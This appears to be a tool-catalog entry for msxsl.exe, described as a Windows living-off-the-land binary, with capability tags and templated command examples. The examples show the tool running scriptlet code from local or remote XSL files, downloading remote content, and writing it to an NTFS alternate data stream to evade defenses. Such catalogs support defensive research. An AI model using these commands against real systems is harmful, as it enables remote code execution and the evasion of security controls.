windows enabled community high v1.0.0

msxsl

Command line utility used to perform XSL transformations. Located at: no default.

📋 Live Preview
msxsl
msxsl

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
security.defense-evasion.bypass
network.transfer.download
system.file.alternate-data-stream

Contract

Outputs

process.output

Command execution output

Side effects: filesystem_writenetwork_trafficprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Run COM Scriptlet code within the script.xsl file (local). (Local execution of script stored in XSL file.)

msxsl.exe {PATH:.xml} {PATH:.xsl}

Run COM Scriptlet code within the script.xsl file (local). (Local execution of script stored in XSL file.)

msxsl.exe {PATH:.xml} {PATH:.xsl}

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). (Local execution of remote script stored in XSL script stored as an XML file.)

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). (Local execution of remote script stored in XSL script stored as an XML file.)

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}

Using remote XML and XSL files, save the transformed XML file to disk. (Download a file from the internet and save it to disk.)

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS). (Download a file from the internet and save it to an NTFS Alternate Data Stream.)

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name

Detection

Documentation

msxsl

msxsl is a Windows LOLBin. Command line utility used to perform XSL transformations. Located at: no default.

References